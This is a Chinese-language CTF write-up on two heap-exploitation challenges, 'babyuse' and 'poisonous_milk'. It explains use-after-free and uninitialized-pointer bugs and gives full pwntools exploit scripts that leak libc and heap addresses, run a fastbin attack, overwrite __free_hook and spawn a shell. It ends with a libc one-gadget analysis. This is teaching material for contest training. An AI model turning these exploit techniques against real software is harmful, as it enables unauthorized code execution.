这次比赛只做了两道入门题，感觉还是思路太窄了。不过，还是学到了一些新姿势。
babyuse
root@kali ~/桌面# ./babyuse
_
|_)_. _ _o _ ._ | _ _. _| _ /\ ._ _
| (_|_>_>|(_)| | |_(/_(_|(_|_> /--\| | |\/
/
Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit
这个题应该算是比较明显的UAF漏洞
漏洞位置
Select_id源于Select a Gun中
Select a Gun
Select_id需要保证对应的guns_flag不为0，但因为Select a Gun和Use a Gun是两个独立的功能，那么完全可以先调用Select a Gun并输入一个合法的select_id，接着调用Drop a Gun将这些指针都释放掉，最后再调用Use a Gun。因此总的利用思路为：首先buy 4次，然后select，接着drop，最后use以泄露libc地址。
Paste_Image.png
泄露地址的事就比较简单了，修改函数指针，使其指向system函数
Paste_Image.png
不过，直接调用system可能会存在一些问题，因为v3指向的是枪支的结构体指针
Paste_Image.png
第一部分vtable指针，这一部分必须覆盖为伪vtable表，不过因为这个题是32位程序，我们可以把/bin/sh附加在vtable指针后面，并用“；”截断命令
Paste_Image.png
完整的利用脚本如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
slog = 0
debug = 0
local = 0
if local:
p = process('./babyuse')
libc = ELF('/lib32/libc.so.6')
else:
p = remote('202.112.51.247', 3456)
#libc = ELF('./libc.so')
p.recvuntil('Token:')
p.sendline('BwmDoZoJ9QjSFF65dgYP5eoNjGvoYl7K')
if slog: context.log_level = 'DEBUG'
def buy(gun_type, length, name):
p.recvuntil('7. Exit')
p.sendline('1')
p.recvuntil('2. QBZ95')
p.sendline(str(gun_type))
p.recvuntil('Lenth of name：')
p.sendline(str(length))
p.recvuntil('Input name:')
p.sendline(name)
def drop(index):
p.recvuntil('7. Exit')
p.sendline('6')
p.recvuntil('Choose a gun to delete:')
p.sendline(str(index))
def select(index):
p.recvuntil('7. Exit')
p.sendline('2')
p.recvuntil('Select a gun')
p.sendline(str(index))
def use(option):
p.recvuntil('7. Exit')
p.sendline('5')
p.recvuntil('4. Main menu')
p.sendline(str(option))
def rename(index, length, name):
p.recvuntil('7. Exit')
p.sendline('4')
p.recvuntil('Choose a gun to rename:')
p.sendline(str(index))
p.recvuntil('Lenth of name：')
p.sendline(str(length))
p.recvuntil('Input name:')
p.sendline(name)
buy(1, 0x50, 'a')
buy(1, 0x60, 'b')
buy(1, 2, 'c')
buy(1, 2, 'd')
select(2)
drop(0)
drop(1)
drop(2)
drop(3)
buy(1, 0x20000, 'a')
p.recvuntil('7. Exit')
p.sendline('5')
p.recvuntil('Select gun ')
leak_heap = u32(p.recv(4))
print 'leak_heap addr is', hex(leak_heap)
p.recvuntil('4. Main menu')
p.sendline('4')
heap_base = leak_heap - 0x20
buy(1, 0xf4, 'a' * 0xdc + p32(heap_base + 0x11c))
p.recvuntil('7. Exit')
p.sendline('5')
p.recvuntil('Select gun ')
leak_libc = u32(p.recv(4))
print 'leak_libc addr is', hex(leak_libc)
if local:
libc_base = leak_libc - 0x1b37b0
system_addr = libc_base + libc.symbols['system']
else:
libc_base = leak_libc - 0x1b27b0
system_addr = libc_base + 0x3ada0
print 'sytem addr is ', hex(system_addr)
p.recvuntil('4. Main menu')
p.sendline('4')
drop(1)
buy(1, 0xf4, ('/sh\0' + p32(system_addr)).ljust(0xd8, 'a') + p32(heap_base + 0x28) + p32(heap_base + 0x11c) + ");/bin/sh")
if local and debug: gdb.attach(p, open('debug'))
p.recvuntil('7. Exit')
p.sendline('5')
p.recvuntil('4. Main menu')
p.sendline('2')
p.interactive()
poisonous_milk
root@kali ~/桌/poisonous_milk# ./poisonous_milk
Welcome to rainbow poisonous milk system authored by Xudong Huang
You can leave your flags here~
Milk Guide:
[p]ut a poisonous milk
[v]iew all poisonous milks
[r]emove one milk
[d]rink pocari sweat
[q]uit the system
>
这个题有两个问题：UAF和未定义指针引用。
UAF出现在drink_milk中，不难发现在释放了milks指针后并没有将其清空，那么在释放后重新申请内存就可以控制milk->head和milk-tail，只要能够泄露堆地址，就可以做到任意内存分配和释放，后面就是通过对堆的攻击实现任意内存写
Paste_Image.png
未定义指针引用
Paste_Image.png
如果输入的颜色不在预定义的范围之内，v1->color最终将是一个未定义的值，并且，在不断添加牛奶的过程中，会触发多次不同大小的堆申请与释放操作，通过构造合适的堆块大小就可以泄露出堆地址和libc地址
Paste_Image.png
在泄露了堆和libc地址之后，我们的目标就是通过fastbin attack控制EIP了
Paste_Image.png
但程序开启了FULL RELRO保护，没有办法修改got表，因此只能修改libc上的函数指针，一开始对fastbin attack不是很理解，所以选择了一条比较曲折的方案：
通过fastbin attack往fastbin数组中写入0x61用作fastbin伪堆头
Paste_Image.png
攻击成功后就可以在arena最在的内存段中写入0x61
Paste_Image.png
然后再次通过fastbin attack控制main_arena->top并使其指向__free_hook附近，并在多次分配内存后控制_free_hook。具体代码如下：
#!/usr/bin/env python
# coding=utf-8
from pwn import *
slog = 1
debug = 1
local = 0
if slog: context.log_level = 'DEBUG'
if local:
p = process('./poisonous_milk')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('52.27.136.59', 6969)
libc = ELF('./libc-2.23.so')
p.recvuntil('Token:')
p.sendline('BwmDoZoJ9QjSFF65dgYP5eoNjGvoYl7K')
def put_milk(flags, color):
p.recvuntil('> ')
p.sendline('put')
p.recvuntil('flags (0-99):')
p.sendline(flags)
p.recvuntil('color:')
p.sendline(color)
def view():
p.recvuntil('> ')
p.sendline('view')
def remove(index):
p.recvuntil('> ')
p.sendline('remove')
p.recvuntil('index : ')
p.sendline(str(index))
def drink():
p.recvuntil('> ')
p.sendline('drink')
def ljust(astr, length, padding = 'a'):
return astr.ljust(length, padding)
for i in range(20):
put_milk('1', 'atack')
view()
p.recvuntil('[17] [')
leak_heap = u64(p.recv(6).ljust(8, '\x00'))
print 'leak_libc is', hex(leak_heap)
p.recvuntil('[18] [')
leak_libc = u64(p.recv(6).ljust(8, '\x00'))
print 'leak_libc is', hex(leak_libc)
drink()
put_milk(p64(leak_heap - 0x120) + p64(leak_heap - 0x120 + 0x28), 'attack')
payload = p64(leak_heap + 0x40) + p64(leak_heap + 0x60) + p64(leak_heap + 0xb0) + p64(leak_heap + 0xd0) + p64(leak_heap + 0x10) + p64(leak_heap + 0xd0)
payload = payload.ljust(0x50, 'b')
put_milk(payload, 'red')
if local:
libc_base = leak_libc - 0x398b68
else:
libc_base = leak_libc - 0x3C3B88
system_addr = libc_base + libc.symbols['system']
log.info('system_addr is '+ hex(system_addr))
free_hook = libc_base + libc.symbols['__free_hook']
put_milk('d'*0x50, 'red')
payload = p64(0) + p64(0x41)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0x51)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0x41)
put_milk(payload, "red")
put_milk(ljust(p64(0) + p64(0) + p64(0) + p64(0x61) + p64(0) + p64(0), 0x50), 'red')
remove(1)
remove(0)
log.info("fastbin attack")
put_milk('/bin/sh\x00'.ljust(0x10, 'a') + p64(0) + p64(0x51) + p64(0x61) + 'a'*0x8, 'red')
put_milk('\x00' * 0x40, 'red')
remove(1)
remove(0)
put_milk(ljust('a'*0x10 + p64(0) + p64(0x61) + p64(leak_libc - 0x50), 0x50), 'red')
put_milk(ljust(p64(0) + p64(leak_heap + 0x40), 0x50, '\x00'), 'red')
remove(0)
log.info("control main_arena->top")
put_milk(ljust(p64(0)*6 + p64(free_hook - 0xa90) + p64(leak_heap + 0xb0) + p64(leak_libc - 0x10)*2, 0x50, '\x00'), 'red')
for i in range(10):
put_milk('\x00' * 0x50, 'red')
for i in range(4):
put_milk('\x00' * 0x50, 'red')
put_milk('\x00' * 0x30, 'red')
for i in range(4):
put_milk('\x00' * 0x50, 'red')
put_milk('\x00' * 0x30, 'red')
#view()
put_milk('\x00' * 0x20, 'red')
put_milk('\x00' * 0x20, 'red')
put_milk('\x00' * 0x20, 'red')
if local and debug: gdb.attach(p, open('debug'))
put_milk(ljust(p64(0)*6 + p64(system_addr), 0x50, '\x00'), 'red')
remove(0)
p.interactive()
控制_free_hook的难点在于_free_hook附近没有可以构成伪堆头的数据，如果想要控制就只能通过任意内存写或通过控制main_arena->top来进行任意内存分配。
其实本题还可以尝试其他思路：修改_malloc_hook，正常情况下，只有允许分配任意大小内存才可以通过_malloc_hook拿shell，因为申请的内存大小对应的是/bin/sh字符串的地址。类似的，还可以修改morecore、stdout结构体vtable等函数指针。
那么有没有可能在不传入/bin/sh地址（也就是不控制参数）的情况下拿到shell呢？翻了一下libc，发现几个gadget
.text:03F2DF loc_3F2DF
.text:03F2DF lea rax, aBinSh+5 ; "sh"
.text:03F2E6 lea rsi, unk_39A540
.text:03F2ED xor edx, edx
.text:03F2EF mov edi, 2
.text:03F2F4 mov [rsp+188h+var_148], rbx
.text:03F2F9 mov [rsp+188h+var_140], 0
.text:03F302 mov [rsp+188h+var_158], rax
.text:03F307 lea rax, aC ; "-c"
.text:03F30E mov [rsp+188h+var_150], rax
.text:03F313 call sigaction
.text:03F318 lea rsi, unk_39A4A0
.text:03F31F xor edx, edx
.text:03F321 mov edi, 3
.text:03F326 call sigaction
.text:03F32B xor edx, edx
.text:03F32D mov rsi, r12
.text:03F330 mov edi, 2
.text:03F335 call sigprocmask
.text:03F33A mov rax, cs:environ_ptr_0
.text:03F341 lea rdi, aBinSh ; "/bin/sh"
.text:03F348 lea rsi, [rsp+188h+var_158]
.text:03F34D mov cs:dword_39A480, 0
.text:03F357 mov cs:dword_39A484, 0
.text:03F361 mov rdx, [rax]
.text:03F364 call execve
.text:03F369 mov edi, 7Fh ; status
.text:03F36E call _exit
对于这一段代码，我们有四种方式可以拿到shell
1：控制rbx为"/bin/sh" ["sh","c","/bin/sh",0]
2：控制rdi为"/bin/sh" 传统的system ["sh","c","/bin/sh",0]
3：控制[rbp+0x30] 为 0, 跳到0x03F33A [0]
4：控制rax为 0，跳到0x03F2E6 [0,"c",shell,0]
第二个gadget
.text:0B8ABF loc_B8ABF:
.text:0B8ABF lea rdi, aBinSh ; "/bin/sh"
.text:0B8AC6 mov rdx, r12
.text:0B8AC9 mov rsi, r13
.text:0B8ACC call execve
这个需要满足的条件是r12和r13是两个可访问的数组指针，并且所指向的数组也是可访问（具体的原理可参考execve的调用规则）
第三个gadget
.text:0D6845 mov rax, cs:environ_ptr_0
.text:0D684C lea rsi, [rsp+1D8h+var_168]
.text:0D6851 lea rdi, aBinSh ; "/bin/sh"
.text:0D6858 mov rdx, [rax]
.text:0D685B call execve
其实这几个gadget大同小异，但使用条件各不相同，需要结合实际的情况进行分析。